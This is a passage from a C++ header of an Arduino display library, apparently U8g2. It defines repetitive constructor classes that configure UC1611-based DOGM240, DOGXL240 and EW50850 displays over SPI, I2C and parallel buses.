U8G2_UC1611_EA_DOGM240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EA_DOGM240_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EA_DOGM240_F_6800 : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_F_8080 : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_1_SW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EA_DOGM240_1_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EA_DOGM240_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EA_DOGM240_2_SW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EA_DOGM240_2_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EA_DOGM240_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EA_DOGM240_F_SW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EA_DOGM240_F_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EA_DOGM240_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGM240_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EA_DOGXL240_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_6800 : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_8080 : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_6800 : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_8080 : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_6800 : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_8080 : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_SW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EA_DOGXL240_1_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EA_DOGXL240_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EA_DOGXL240_2_SW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EA_DOGXL240_2_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EA_DOGXL240_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EA_DOGXL240_F_SW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EA_DOGXL240_F_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EA_DOGXL240_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EA_DOGXL240_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EW50850_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EW50850_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EW50850_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EW50850_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EW50850_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EW50850_1_6800 : public U8G2 { public: U8G2_UC1611_EW50850_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EW50850_1_8080 : public U8G2 { public: U8G2_UC1611_EW50850_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EW50850_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EW50850_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EW50850_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EW50850_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 